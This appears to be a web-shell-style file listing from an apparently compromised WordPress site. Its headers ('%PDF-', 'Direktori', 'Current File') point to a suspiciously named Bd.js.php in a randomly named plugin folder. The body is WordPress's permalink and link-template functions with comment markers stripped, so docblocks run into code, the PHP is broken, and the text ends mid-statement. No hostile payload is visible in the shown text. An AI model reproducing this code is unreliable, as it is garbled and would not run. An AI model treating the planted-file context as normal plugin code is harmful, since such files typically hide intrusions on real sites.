%PDF- %PDF-
Direktori : /home/jalalj2hb/public_html/wp-content/plugins/066pos98/ |
Current File : /home/jalalj2hb/public_html/wp-content/plugins/066pos98/Bd.js.php |
<?php /* * * WordPress Link Template Functions * * @package WordPress * @subpackage Template * * Displays the permalink for the current post. * * @since 1.2.0 * @since 4.4.0 Added the `$post` parameter. * * @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`. function the_permalink( $post = 0 ) { * * Filters the display of the permalink for the current post. * * @since 1.5.0 * @since 4.4.0 Added the `$post` parameter. * * @param string $permalink The permalink for the current post. * @param int|WP_Post $post Post ID, WP_Post object, or 0. Default 0. echo esc_url( apply_filters( 'the_permalink', get_permalink( $post ), $post ) ); } * * Retrieves a trailing-slashed string if the site is set for adding trailing slashes. * * Conditionally adds a trailing slash if the permalink structure has a trailing * slash, strips the trailing slash if not. The string is passed through the * {@see 'user_trailingslashit'} filter. Will remove trailing slash from string, if * site is not set to have them. * * @since 2.2.0 * * @global WP_Rewrite $wp_rewrite * * @param string $string URL with or without a trailing slash. * @param string $type_of_url Optional. The type of URL being considered (e.g. single, category, etc) * for use in the filter. Default empty string. * @return string The URL with the trailing slash appended or stripped. function user_trailingslashit($string, $type_of_url = '') { global $wp_rewrite; if ( $wp_rewrite->use_trailing_slashes ) $string = trailingslashit($string); else $string = untrailingslashit($string); * * Filters the trailing-slashed string, depending on whether the site is set to use trailing slashes. * * @since 2.2.0 * * @param string $string URL with or without a trailing slash. * @param string $type_of_url The type of URL being considered. Accepts 'single', 'single_trackback', * 'single_feed', 'single_paged', 'commentpaged', 'paged', 'home', 'feed', * 'category', 'page', 'year', 'month', 'day', 'post_type_archive'. return apply_filters( 'user_trailingslashit', $string, $type_of_url ); } * * Displays the permalink anchor for the current post. * * The permalink mode title will use the post title for the 'a' element 'id' * attribute. The id mode uses 'post-' with the post ID for the 'id' attribute. * * @since 0.71 * * @param string $mode Optional. Permalink mode. Accepts 'title' or 'id'. Default 'id'. function permalink_anchor( $mode = 'id' ) { $post = get_post(); switch ( strtolower( $mode ) ) { case 'title': $title = sanitize_title( $post->post_title ) . '-' . $post->ID; echo '<a id="'.$title.'"></a>'; break; case 'id': default: echo '<a id="post-' . $post->ID . '"></a>'; break; } } * * Retrieves the full permalink for the current post or post ID. * * This function is an alias for get_permalink(). * * @since 3.9.0 * * @see get_permalink() * * @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`. * @param bool $leavename Optional. Whether to keep post name or page name. Default false. * * @return string|false The permalink URL or false if post does not exist. function get_the_permalink( $post = 0, $leavename = false ) { return get_permalink( $post, $leavename ); } * * Retrieves the full permalink for the current post or post ID. * * @since 1.0.0 * * @param int|WP_Post $post Optional. Post ID or post object. Default is the global `$post`. * @param bool $leavename Optional. Whether to keep post name or page name. Default false. * @return string|false The permalink URL or false if post does not exist. function get_permalink( $post = 0, $leavename = false ) { $rewritecode = array( '%year%', '%monthnum%', '%day%', '%hour%', '%minute%', '%second%', $leavename? '' : '%postname%', '%post_id%', '%category%', '%author%', $leavename? '' : '%pagename%', ); if ( is_object( $post ) && isset( $post->filter ) && 'sample' == $post->filter ) { $sample = true; } else { $post = get_post( $post ); $sample = false; } if ( empty($post->ID) ) return false; if ( $post->post_type == 'page' ) return get_page_link($post, $leavename, $sample); elseif ( $post->post_type == 'attachment' ) return get_attachment_link( $post, $leavename ); elseif ( in_array($post->post_type, get_post_types( array('_builtin' => false) ) ) ) return get_post_permalink($post, $leavename, $sample); $permalink = get_option('permalink_structure'); * * Filters the permalink structure for a post before token replacement occurs. * * Only applies to posts with post_type of 'post'. * * @since 3.0.0 * * @param string $permalink The site's permalink structure. * @param WP_Post $post The post in question. * @param bool $leavename Whether to keep the post name. $permalink = apply_filters( 'pre_post_link', $permalink, $post, $leavename ); if ( '' != $permalink && !in_array( $post->post_status, array( 'draft', 'pending', 'auto-draft', 'future' ) ) ) { $unixtime = strtotime($post->post_date); $category = ''; if ( strpos($permalink, '%category%') !== false ) { $cats = get_the_category($post->ID); if ( $cats ) { $cats = wp_list_sort( $cats, array( 'term_id' => 'ASC', ) ); * * Filters the category that gets used in the %category% permalink token. * * @since 3.5.0 * * @param WP_Term $cat The category to use in the permalink. * @param array $cats Array of all categories (WP_Term objects) associated with the post. * @param WP_Post $post The post in question. $category_object = apply_filters( 'post_link_category', $cats[0], $cats, $post ); $category_object = get_term( $category_object, 'category' ); $category = $category_object->slug; if ( $parent = $category_object->parent ) $category = get_category_parents($parent, false, '/', true) . $category; } show default category in permalinks, without having to assign it explicitly if ( empty($category) ) { $default_category = get_term( get_option( 'default_category' ), 'category' ); if ( $default_category && ! is_wp_error( $default_category ) ) { $category = $default_category->slug; } } } $author = ''; if ( strpos($permalink, '%author%') !== false ) { $authordata = get_userdata($post->post_author); $author = $authordata->user_nicename; } $date = explode(" ",date('Y m d H i s', $unixtime)); $rewritereplace = array( $date[0], $date[1], $date[2], $date[3], $date[4], $date[5], $post->post_name, $post->ID, $category, $author, $post->post_name, ); $permalink = home_url( str_replace($rewritecode, $rewritereplace, $permalink) ); $permalink = user_trailingslashit($permalink, 'single'); } else { if they're not using the fancy permalink option $permalink = home_url('?p=' . $post->ID); } * * Filters the permalink for a post. * * Only applies to posts with post_type of 'post'. * * @since 1.5.0 * * @param string $permalink The post's permalink. * @param WP_Post $post The post in question. * @param bool $leavename Whether to keep the post name. return apply_filters( 'post_link', $permalink, $post, $leavename ); } * * Retrieves the permalink for a post of a custom post type. * * @since 3.0.0 * * @global WP_Rewrite $wp_rewrite * * @param int|WP_Post $id Optional. Post ID or post object. Default is the global `$post`. * @param bool $leavename Optional, defaults to false. Whether to keep post name. Default false. * @param bool $sample Optional, defaults to false. Is it a sample permalink. Default false. * @return string|WP_Error The post permalink. function get_post_permalink( $id = 0, $leavename = false, $sample = false ) { global $wp_rewrite; $post = get_post($id); if ( is_wp_error( $post ) ) return $post; $post_link = $wp_rewrite->get_extra_permastruct($post->post_type); $slug = $post->post_name; $draft_or_pending = get_post_status( $post ) && in_array( get_post_status( $post ), array( 'draft', 'pending', 'auto-draft', 'future' ) ); $post_type = get_post_type_object($post->post_type); if ( $post_type->hierarchical ) { $slug = get_page_uri( $post ); } if ( !empty($post_link) && ( !$draft_or_pending || $sample ) ) { if ( ! $leavename ) { $post_link = str_replace("%$post->post_type%", $slug, $post_link); } $post_link = home_url( user_trailingslashit($post_link) ); } else { if ( $post_type->query_var && ( isset($post->post_status) && !$draft_or_pending ) ) $post_link = add_query_arg($post_type->query_var, $slug, ''); else $post_link = add_query_arg(array('post_type' => $post->post_type, 'p' => $post->ID), ''); $post_link = home_url($post_link); } * * Filters the permalink for a post of a custom post type. * * @since 3.0.0 * * @param string $post_link The post's permalink. * @param WP_Post $post The post in question. * @param bool $leavename Whether to keep the post name. * @param bool $sample Is it a sample permalink. return apply_filters( 'post_type_link', $post_link, $post, $leavename, $sample ); } * * Retrieves the permalink for the current page or page ID. * * Respects page_on_front. Use this one. * * @since 1.5.0 * * @param int|WP_Post $post Optional. Post ID or object. Default uses the global `$post`. * @param bool $leavename Optional. Whether to keep the page name. Default false. * @param bool $sample Optional. Whether it should be treated as a sample permalink. * Default false. * @return string The page permalink. function get_page_link( $post = false, $leavename = false, $sample = false ) { $post = get_post( $post ); if ( 'page' == get_option( 'show_on_front' ) && $post->ID == get_option( 'page_on_front' ) ) $link = home_url('/'); else $link = _get_page_link( $post, $leavename, $sample ); * * Filters the permalink for a page. * * @since 1.5.0 * * @param string $link The page's permalink. * @param int $post_id The ID of the page. * @param bool $sample Is it a sample permalink. return apply_filters( 'page_link', $link, $post->ID, $sample ); } * * Retrieves the page permalink. * * Ignores page_on_front. Internal use only. * * @since 2.1.0 * @access private * * @global WP_Rewrite $wp_rewrite * * @param int|WP_Post $post Optional. Post ID or object. Default uses the global `$post`. * @param bool $leavename Optional. Whether to keep the page name. Default false. * @param bool $sample Optional. Whether it should be treated as a sample permalink. * Default false. * @return string The page permalink. function _get_page_link( $post = false, $leavename = false, $sample = false ) { global $wp_rewrite; $post = get_post( $post ); $draft_or_pending = in_array( $post->post_status, array( 'draft', 'pending', 'auto-draft' ) ); $link = $wp_rewrite->get_page_permastruct(); if ( !empty($link) && ( ( isset($post->post_status) && !$draft_or_pending ) || $sample ) ) { if ( ! $leavename ) { $link = str_replace('%pagename%', get_page_uri( $post ), $link); } $link = home_url($link); $link = user_trailingslashit($link, 'page'); } else { $link = home_url( '?page_id=' . $post->ID ); } * * Filters the permalink for a non-page_on_front page. * * @since 2.1.0 * * @param string $link The page's permalink. * @param int $post_id The ID of the page. return apply_filters( '_get_page_link', $link, $post->ID ); } * * Retrieves the permalink for an attachment. * * This can be used in the WordPress Loop or outside of it. * * @since 2.0.0 * * @global WP_Rewrite $wp_rewrite * * @param int|object $post Optional. Post ID or object. Default uses the global `$post`. * @param bool $leavename Optional. Whether to keep the page name. Default false. * @return string The attachment permalink. function get_attachment_link( $post = null, $leavename = false ) { global $wp_rewrite; $link = false; $post = get_post( $post ); $parent = ( $post->post_parent > 0 && $post->post_parent != $post->ID ) ? get_post( $post->post_parent ) : false; if ( $parent && ! in_array( $parent->post_type, get_post_types() ) ) { $parent = false; } if ( $wp_rewrite->using_permalinks() && $parent ) { if ( 'page' == $parent->post_type ) $parentlink = _get_page_link( $post->post_parent ); Ignores page_on_front else $parentlink = get_permalink( $post->post_parent ); if ( is_numeric($post->post_name) || false !== strpos(get_option('permalink_structure'), '%category%') ) $name = 'attachment/' . $post->post_name; <permalink>/<int>/ is paged so we use the explicit attachment marker else $name = $post->post_name; if ( strpos($parentlink, '?') === false ) $link = user_trailingslashit( trailingslashit($parentlink) . '%postname%' ); if ( ! $leavename ) $link = str_replace( '%postname%', $name, $link ); } elseif ( $wp_rewrite->using_permalinks() && ! $leavename ) { $link = home_url( user_trailingslashit( $post->post_name ) ); } if ( ! $link ) $link = home_url( '/?attachment_id=' . $post->ID ); * * Filters the permalink for an attachment. * * @since 2.0.0 * * @param string $link The attachment's permalink. * @param int $post_id Attachment ID. return apply_filters( 'attachment_link', $link, $post->ID ); } * * Retrieves the permalink for the year archives. * * @since 1.5.0 * * @global WP_Rewrite $wp_rewrite * * @param int|bool $year False for current year or year for permalink. * @return string The permalink for the specified year archive. function get_year_link( $year ) { global $wp_rewrite; if ( !$year ) $year = gmdate('Y', current_time('timestamp')); $yearlink = $wp_rewrite->get_year_permastruct(); if ( !empty($yearlink) ) { $yearlink = str_replace('%year%', $year, $yearlink); $yearlink = home_url( user_trailingslashit( $yearlink, 'year' ) ); } else { $yearlink = home_url( '?m=' . $year ); } * * Filters the year archive permalink. * * @since 1.5.0 * * @param string $yearlink Permalink for the year archive. * @param int $year Year for the archive. return apply_filters( 'year_link', $yearlink, $year ); } * * Retrieves the permalink for the month archives with year. * * @since 1.0.0 * * @global WP_Rewrite $wp_rewrite * * @param bool|int $year False for current year. Integer of year. * @param bool|int $month False for current month. Integer of month. * @return string The permalink for the specified month and year archive. function get_month_link($year, $month) { global $wp_rewrite; if ( !$year ) $year = gmdate('Y', current_time('timestamp')); if ( !$month ) $month = gmdate('m', current_time('timestamp')); $monthlink = $wp_rewrite->get_month_permastruct(); if ( !empty($monthlink) ) { $monthlink = str_replace('%year%', $year, $monthlink); $monthlink = str_replace('%monthnum%', zeroise(intval($month), 2), $monthlink); $monthlink = home_url( user_trailingslashit( $monthlink, 'month' ) ); } else { $monthlink = home_url( '?m=' . $year . zeroise( $month, 2 ) ); } * * Filters the month archive permalink. * * @since 1.5.0 * * @param string $monthlink Permalink for the month archive. * @param int $year Year for the archive. * @param int $month The month for the archive. return apply_filters( 'month_link', $monthlink, $year, $month ); } * * Retrieves the permalink for the day archives with year and month. * * @since 1.0.0 * * @global WP_Rewrite $wp_rewrite * * @param bool|int $year False for current year. Integer of year. * @param bool|int $month False for current month. Integer of month. * @param bool|int $day False for current day. Integer of day. * @return string The permalink for the specified day, month, and year archive. function get_day_link($year, $month, $day) { global $wp_rewrite; if ( !$year ) $year = gmdate('Y', current_time('timestamp')); if ( !$month ) $month = gmdate('m', current_time('timestamp')); if ( !$day ) $day = gmdate('j', current_time('timestamp')); $daylink = $wp_rewrite->get_day_permastruct(); if ( !empty($daylink) ) { $daylink = str_replace('%year%', $year, $daylink); $daylink = str_replace('%monthnum%', zeroise(intval($month), 2), $daylink); $daylink = str_replace('%day%', zeroise(intval($day), 2), $daylink); $daylink = home_url( user_trailingslashit( $daylink, 'day' ) ); } else { $daylink = home_url( '?m=' . $year . zeroise( $month, 2 ) . zeroise( $day, 2 ) ); } * * Filters the day archive permalink. * * @since 1.5.0 * * @param string $daylink Permalink for the day archive. * @param int $year Year for the archive. * @param int $month Month for the archive. * @param int $day The day for the archive. return apply_filters( 'day_link', $daylink, $year, $month, $day ); } * * Displays the permalink for the feed type. * * @since 3.0.0 * * @param string $anchor The link's anchor text. * @param string $feed Optional. Feed type. Default empty. function the_feed_link( $anchor, $feed = '' ) { $link = '<a href="' . esc_url( get_feed_link( $feed ) ) . '">' . $anchor . '</a>'; * * Filters the feed link anchor tag. * * @since 3.0.0 * * @param string $link The complete anchor tag for a feed link. * @param string $feed The feed type, or an empty string for the * default feed type. echo apply_filters( 'the_feed_link', $link, $feed ); } * * Retrieves the permalink for the feed type. * * @since 1.5.0 * * @global WP_Rewrite $wp_rewrite * * @param string $feed Optional. Feed type. Default empty. * @return string The feed permalink. function get_feed_link( $feed = '' ) { global $wp_rewrite; $permalink = $wp_rewrite->get_feed_permastruct(); if ( '' != $permalink ) { if ( false !== strpos($feed, 'comments_') ) { $feed = str_replace('comments_', '', $feed); $permalink = $wp_rewrite->get_comment_feed_permastruct(); } if ( get_default_feed() == $feed ) $feed = ''; $permalink = str_replace('%feed%', $feed, $permalink); $permalink = preg_replace('#/+#', '/', "/$permalink"); $output = home_url( user_trailingslashit($permalink, 'feed') ); } else { if ( empty($feed) ) $feed = get_default_feed(); if ( false !== strpos($feed, 'comments_') ) $feed = str_replace('comments_', 'comments-', $feed); $output = home_url("?feed={$feed}"); } * * Filters the feed type permalink. * * @since 1.5.0 * * @param string $output The feed permalink. * @param string $feed Feed type. return apply_filters( 'feed_link', $output, $feed ); } * * Retrieves the permalink for the post comments feed. * * @since 2.2.0 * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @param string $feed Optional. Feed type. Default empty. * @return string The permalink for the comments feed for the given post. function get_post_comments_feed_link( $post_id = 0, $feed = '' ) { $post_id = absint( $post_id ); if ( ! $post_id ) $post_id = get_the_ID(); if ( empty( $feed ) ) $feed = get_default_feed(); $post = get_post( $post_id ); $unattached = 'attachment' === $post->post_type && 0 === (int) $post->post_parent; if ( '' != get_option('permalink_structure') ) { if ( 'page' == get_option('show_on_front') && $post_id == get_option('page_on_front') ) $url = _get_page_link( $post_id ); else $url = get_permalink($post_id); if ( $unattached ) { $url = home_url( '/feed/' ); if ( $feed !== get_default_feed() ) { $url .= "$feed/"; } $url = add_query_arg( 'attachment_id', $post_id, $url ); } else { $url = trailingslashit($url) . 'feed'; if ( $feed != get_default_feed() ) $url .= "/$feed"; $url = user_trailingslashit($url, 'single_feed'); } } else { if ( $unattached ) { $url = add_query_arg( array( 'feed' => $feed, 'attachment_id' => $post_id ), home_url( '/' ) ); } elseif ( 'page' == $post->post_type ) { $url = add_query_arg( array( 'feed' => $feed, 'page_id' => $post_id ), home_url( '/' ) ); } else { $url = add_query_arg( array( 'feed' => $feed, 'p' => $post_id ), home_url( '/' ) ); } } * * Filters the post comments feed permalink. * * @since 1.5.1 * * @param string $url Post comments feed permalink. return apply_filters( 'post_comments_feed_link', $url ); } * * Displays the comment feed link for a post. * * Prints out the comment feed link for a post. Link text is placed in the * anchor. If no link text is specified, default text is used. If no post ID is * specified, the current post is used. * * @since 2.5.0 * * @param string $link_text Optional. Descriptive link text. Default 'Comments Feed'. * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @param string $feed Optional. Feed format. Default empty. function post_comments_feed_link( $link_text = '', $post_id = '', $feed = '' ) { $url = get_post_comments_feed_link( $post_id, $feed ); if ( empty( $link_text ) ) { $link_text = __('Comments Feed'); } $link = '<a href="' . esc_url( $url ) . '">' . $link_text . '</a>'; * * Filters the post comment feed link anchor tag. * * @since 2.8.0 * * @param string $link The complete anchor tag for the comment feed link. * @param int $post_id Post ID. * @param string $feed The feed type, or an empty string for the default feed type. echo apply_filters( 'post_comments_feed_link_html', $link, $post_id, $feed ); } * * Retrieves the feed link for a given author. * * Returns a link to the feed for all posts by a given author. A specific feed * can be requested or left blank to get the default feed. * * @since 2.5.0 * * @param int $author_id Author ID. * @param string $feed Optional. Feed type. Default empty. * @return string Link to the feed for the author specified by $author_id. function get_author_feed_link( $author_id, $feed = '' ) { $author_id = (int) $author_id; $permalink_structure = get_option('permalink_structure'); if ( empty($feed) ) $feed = get_default_feed(); if ( '' == $permalink_structure ) { $link = home_url("?feed=$feed&author=" . $author_id); } else { $link = get_author_posts_url($author_id); if ( $feed == get_default_feed() ) $feed_link = 'feed'; else $feed_link = "feed/$feed"; $link = trailingslashit($link) . user_trailingslashit($feed_link, 'feed'); } * * Filters the feed link for a given author. * * @since 1.5.1 * * @param string $link The author feed link. * @param string $feed Feed type. $link = apply_filters( 'author_feed_link', $link, $feed ); return $link; } * * Retrieves the feed link for a category. * * Returns a link to the feed for all posts in a given category. A specific feed * can be requested or left blank to get the default feed. * * @since 2.5.0 * * @param int $cat_id Category ID. * @param string $feed Optional. Feed type. Default empty. * @return string Link to the feed for the category specified by $cat_id. function get_category_feed_link( $cat_id, $feed = '' ) { return get_term_feed_link( $cat_id, 'category', $feed ); } * * Retrieves the feed link for a term. * * Returns a link to the feed for all posts in a given term. A specific feed * can be requested or left blank to get the default feed. * * @since 3.0.0 * * @param int $term_id Term ID. * @param string $taxonomy Optional. Taxonomy of `$term_id`. Default 'category'. * @param string $feed Optional. Feed type. Default empty. * @return string|false Link to the feed for the term specified by $term_id and $taxonomy. function get_term_feed_link( $term_id, $taxonomy = 'category', $feed = '' ) { $term_id = ( int ) $term_id; $term = get_term( $term_id, $taxonomy ); if ( empty( $term ) || is_wp_error( $term ) ) return false; if ( empty( $feed ) ) $feed = get_default_feed(); $permalink_structure = get_option( 'permalink_structure' ); if ( '' == $permalink_structure ) { if ( 'category' == $taxonomy ) { $link = home_url("?feed=$feed&cat=$term_id"); } elseif ( 'post_tag' == $taxonomy ) { $link = home_url("?feed=$feed&tag=$term->slug"); } else { $t = get_taxonomy( $taxonomy ); $link = home_url("?feed=$feed&$t->query_var=$term->slug"); } } else { $link = get_term_link( $term_id, $term->taxonomy ); if ( $feed == get_default_feed() ) $feed_link = 'feed'; else $feed_link = "feed/$feed"; $link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' ); } if ( 'category' == $taxonomy ) { * * Filters the category feed link. * * @since 1.5.1 * * @param string $link The category feed link. * @param string $feed Feed type. $link = apply_filters( 'category_feed_link', $link, $feed ); } elseif ( 'post_tag' == $taxonomy ) { * * Filters the post tag feed link. * * @since 2.3.0 * * @param string $link The tag feed link. * @param string $feed Feed type. $link = apply_filters( 'tag_feed_link', $link, $feed ); } else { * * Filters the feed link for a taxonomy other than 'category' or 'post_tag'. * * @since 3.0.0 * * @param string $link The taxonomy feed link. * @param string $feed Feed type. * @param string $taxonomy The taxonomy name. $link = apply_filters( 'taxonomy_feed_link', $link, $feed, $taxonomy ); } return $link; } * * Retrieves the permalink for a tag feed. * * @since 2.3.0 * * @param int $tag_id Tag ID. * @param string $feed Optional. Feed type. Default empty. * @return string The feed permalink for the given tag. function get_tag_feed_link( $tag_id, $feed = '' ) { return get_term_feed_link( $tag_id, 'post_tag', $feed ); } * * Retrieves the edit link for a tag. * * @since 2.7.0 * * @param int $tag_id Tag ID. * @param string $taxonomy Optional. Taxonomy slug. Default 'post_tag'. * @return string The edit tag link URL for the given tag. function get_edit_tag_link( $tag_id, $taxonomy = 'post_tag' ) { * * Filters the edit link for a tag (or term in another taxonomy). * * @since 2.7.0 * * @param string $link The term edit link. return apply_filters( 'get_edit_tag_link', get_edit_term_link( $tag_id, $taxonomy ) ); } * * Displays or retrieves the edit link for a tag with formatting. * * @since 2.7.0 * * @param string $link Optional. Anchor text. Default empty. * @param string $before Optional. Display before edit link. Default empty. * @param string $after Optional. Display after edit link. Default empty. * @param WP_Term $tag Optional. Term object. If null, the queried object will be inspected. * Default null. function edit_tag_link( $link = '', $before = '', $after = '', $tag = null ) { $link = edit_term_link( $link, '', '', $tag, false ); * * Filters the anchor tag for the edit link for a tag (or term in another taxonomy). * * @since 2.7.0 * * @param string $link The anchor tag for the edit link. echo $before . apply_filters( 'edit_tag_link', $link ) . $after; } * * Retrieves the URL for editing a given term. * * @since 3.1.0 * @since 4.5.0 The `$taxonomy` argument was made optional. * * @param int $term_id Term ID. * @param string $taxonomy Optional. Taxonomy. Defaults to the taxonomy of the term identified * by `$term_id`. * @param string $object_type Optional. The object type. Used to highlight the proper post type * menu on the linked page. Defaults to the first object_type associated * with the taxonomy. * @return string|null The edit term link URL for the given term, or null on failure. function get_edit_term_link( $term_id, $taxonomy = '', $object_type = '' ) { $term = get_term( $term_id, $taxonomy ); if ( ! $term || is_wp_error( $term ) ) { return; } $tax = get_taxonomy( $term->taxonomy ); if ( ! $tax || ! current_user_can( 'edit_term', $term->term_id ) ) { return; } $args = array( 'taxonomy' => $taxonomy, 'tag_ID' => $term->term_id, ); if ( $object_type ) { $args['post_type'] = $object_type; } elseif ( ! empty( $tax->object_type ) ) { $args['post_type'] = reset( $tax->object_type ); } if ( $tax->show_ui ) { $location = add_query_arg( $args, admin_url( 'term.php' ) ); } else { $location = ''; } * * Filters the edit link for a term. * * @since 3.1.0 * * @param string $location The edit link. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy name. * @param string $object_type The object type (eg. the post type). return apply_filters( 'get_edit_term_link', $location, $term_id, $taxonomy, $object_type ); } * * Displays or retrieves the edit term link with formatting. * * @since 3.1.0 * * @param string $link Optional. Anchor text. Default empty. * @param string $before Optional. Display before edit link. Default empty. * @param string $after Optional. Display after edit link. Default empty. * @param object $term Optional. Term object. If null, the queried object will be inspected. Default null. * @param bool $echo Optional. Whether or not to echo the return. Default true. * @return string|void HTML content. function edit_term_link( $link = '', $before = '', $after = '', $term = null, $echo = true ) { if ( is_null( $term ) ) $term = get_queried_object(); if ( ! $term ) return; $tax = get_taxonomy( $term->taxonomy ); if ( ! current_user_can( 'edit_term', $term->term_id ) ) { return; } if ( empty( $link ) ) $link = __('Edit This'); $link = '<a href="' . get_edit_term_link( $term->term_id, $term->taxonomy ) . '">' . $link . '</a>'; * * Filters the anchor tag for the edit link of a term. * * @since 3.1.0 * * @param string $link The anchor tag for the edit link. * @param int $term_id Term ID. $link = $before . apply_filters( 'edit_term_link', $link, $term->term_id ) . $after; if ( $echo ) echo $link; else return $link; } * * Retrieves the permalink for a search. * * @since 3.0.0 * * @global WP_Rewrite $wp_rewrite * * @param string $query Optional. The query string to use. If empty the current query is used. Default empty. * @return string The search permalink. function get_search_link( $query = '' ) { global $wp_rewrite; if ( empty($query) ) $search = get_search_query( false ); else $search = stripslashes($query); $permastruct = $wp_rewrite->get_search_permastruct(); if ( empty( $permastruct ) ) { $link = home_url('?s=' . urlencode($search) ); } else { $search = urlencode($search); $search = str_replace('%2F', '/', $search); %2F(/) is not valid within a URL, send it un-encoded. $link = str_replace( '%search%', $search, $permastruct ); $link = home_url( user_trailingslashit( $link, 'search' ) ); } * * Filters the search permalink. * * @since 3.0.0 * * @param string $link Search permalink. * @param string $search The URL-encoded search term. return apply_filters( 'search_link', $link, $search ); } * * Retrieves the permalink for the search results feed. * * @since 2.5.0 * * @global WP_Rewrite $wp_rewrite * * @param string $search_query Optional. Search query. Default empty. * @param string $feed Optional. Feed type. Default empty. * @return string The search results feed permalink. function get_search_feed_link($search_query = '', $feed = '') { global $wp_rewrite; $link = get_search_link($search_query); if ( empty($feed) ) $feed = get_default_feed(); $permastruct = $wp_rewrite->get_search_permastruct(); if ( empty($permastruct) ) { $link = add_query_arg('feed', $feed, $link); } else { $link = trailingslashit($link); $link .= "feed/$feed/"; } * * Filters the search feed link. * * @since 2.5.0 * * @param string $link Search feed link. * @param string $feed Feed type. * @param string $type The search type. One of 'posts' or 'comments'. return apply_filters( 'search_feed_link', $link, $feed, 'posts' ); } * * Retrieves the permalink for the search results comments feed. * * @since 2.5.0 * * @global WP_Rewrite $wp_rewrite * * @param string $search_query Optional. Search query. Default empty. * @param string $feed Optional. Feed type. Default empty. * @return string The comments feed search results permalink. function get_search_comments_feed_link($search_query = '', $feed = '') { global $wp_rewrite; if ( empty($feed) ) $feed = get_default_feed(); $link = get_search_feed_link($search_query, $feed); $permastruct = $wp_rewrite->get_search_permastruct(); if ( empty($permastruct) ) $link = add_query_arg('feed', 'comments-' . $feed, $link); else $link = add_query_arg('withcomments', 1, $link); * This filter is documented in wp-includes/link-template.php return apply_filters( 'search_feed_link', $link, $feed, 'comments' ); } * * Retrieves the permalink for a post type archive. * * @since 3.1.0 * @since 4.5.0 Support for posts was added. * * @global WP_Rewrite $wp_rewrite * * @param string $post_type Post type. * @return string|false The post type archive permalink. function get_post_type_archive_link( $post_type ) { global $wp_rewrite; if ( ! $post_type_obj = get_post_type_object( $post_type ) ) return false; if ( 'post' === $post_type ) { $show_on_front = get_option( 'show_on_front' ); $page_for_posts = get_option( 'page_for_posts' ); if ( 'page' == $show_on_front && $page_for_posts ) { $link = get_permalink( $page_for_posts ); } else { $link = get_home_url(); } * This filter is documented in wp-includes/link-template.php return apply_filters( 'post_type_archive_link', $link, $post_type ); } if ( ! $post_type_obj->has_archive ) return false; if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) ) { $struct = ( true === $post_type_obj->has_archive ) ? $post_type_obj->rewrite['slug'] : $post_type_obj->has_archive; if ( $post_type_obj->rewrite['with_front'] ) $struct = $wp_rewrite->front . $struct; else $struct = $wp_rewrite->root . $struct; $link = home_url( user_trailingslashit( $struct, 'post_type_archive' ) ); } else { $link = home_url( '?post_type=' . $post_type ); } * * Filters the post type archive permalink. * * @since 3.1.0 * * @param string $link The post type archive permalink. * @param string $post_type Post type name. return apply_filters( 'post_type_archive_link', $link, $post_type ); } * * Retrieves the permalink for a post type archive feed. * * @since 3.1.0 * * @param string $post_type Post type * @param string $feed Optional. Feed type. Default empty. * @return string|false The post type feed permalink. function get_post_type_archive_feed_link( $post_type, $feed = '' ) { $default_feed = get_default_feed(); if ( empty( $feed ) ) $feed = $default_feed; if ( ! $link = get_post_type_archive_link( $post_type ) ) return false; $post_type_obj = get_post_type_object( $post_type ); if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) && $post_type_obj->rewrite['feeds'] ) { $link = trailingslashit( $link ); $link .= 'feed/'; if ( $feed != $default_feed ) $link .= "$feed/"; } else { $link = add_query_arg( 'feed', $feed, $link ); } * * Filters the post type archive feed link. * * @since 3.1.0 * * @param string $link The post type archive feed link. * @param string $feed Feed type. return apply_filters( 'post_type_archive_feed_link', $link, $feed ); } * * Retrieves the URL used for the post preview. * * Allows additional query args to be appended. * * @since 4.4.0 * * @param int|WP_Post $post Optional. Post ID or `WP_Post` object. Defaults to global `$post`. * @param array $query_args Optional. Array of additional query args to be appended to the link. * Default empty array. * @param string $preview_link Optional. Base preview link to be used if it should differ from the * post permalink. Default empty. * @return string|null URL used for the post preview, or null if the post does not exist. function get_preview_post_link( $post = null, $query_args = array(), $preview_link = '' ) { $post = get_post( $post ); if ( ! $post ) { return; } $post_type_object = get_post_type_object( $post->post_type ); if ( is_post_type_viewable( $post_type_object ) ) { if ( ! $preview_link ) { $preview_link = set_url_scheme( get_permalink( $post ) ); } $query_args['preview'] = 'true'; $preview_link = add_query_arg( $query_args, $preview_link ); } * * Filters the URL used for a post preview. * * @since 2.0.5 * @since 4.0.0 Added the `$post` parameter. * * @param string $preview_link URL used for the post preview. * @param WP_Post $post Post object. return apply_filters( 'preview_post_link', $preview_link, $post ); } * * Retrieves the edit post link for post. * * Can be used within the WordPress loop or outside of it. Can be used with * pages, posts, attachments, and revisions. * * @since 2.3.0 * * @param int|WP_Post $id Optional. Post ID or post object. Default is the global `$post`. * @param string $context Optional. How to output the '&' character. Default '&'. * @return string|null The edit post link for the given post. null if the post type is invalid or does * not allow an editing UI. function get_edit_post_link( $id = 0, $context = 'display' ) { if ( ! $post = get_post( $id ) ) return; if ( 'revision' === $post->post_type ) $action = ''; elseif ( 'display' == $context ) $action = '&action=edit'; else $action = '&action=edit'; $post_type_object = get_post_type_object( $post->post_type ); if ( !$post_type_object ) return; if ( !current_user_can( 'edit_post', $post->ID ) ) return; if ( $post_type_object->_edit_link ) { $link = admin_url( sprintf( $post_type_object->_edit_link . $action, $post->ID ) ); } else { $link = ''; } * * Filters the post edit link. * * @since 2.3.0 * * @param string $link The edit link. * @param int $post_id Post ID. * @param string $context The link context. If set to 'display' then ampersands * are encoded. return apply_filters( 'get_edit_post_link', $link, $post->ID, $context ); } * * Displays the edit post link for post. * * @since 1.0.0 * @since 4.4.0 The `$class` argument was added. * * @param string $text Optional. Anchor text. If null, default is 'Edit This'. Default null. * @param string $before Optional. Display before edit link. Default empty. * @param string $after Optional. Display after edit link. Default empty. * @param int|WP_Post $id Optional. Post ID or post object. Default is the global `$post`. * @param string $class Optional. Add custom class to link. Default 'post-edit-link'. function edit_post_link( $text = null, $before = '', $after = '', $id = 0, $class = 'post-edit-link' ) { if ( ! $post = get_post( $id ) ) { return; } if ( ! $url = get_edit_post_link( $post->ID ) ) { return; } if ( null === $text ) { $text = __( 'Edit This' ); } $link = '<a class="' . esc_attr( $class ) . '" href="' . 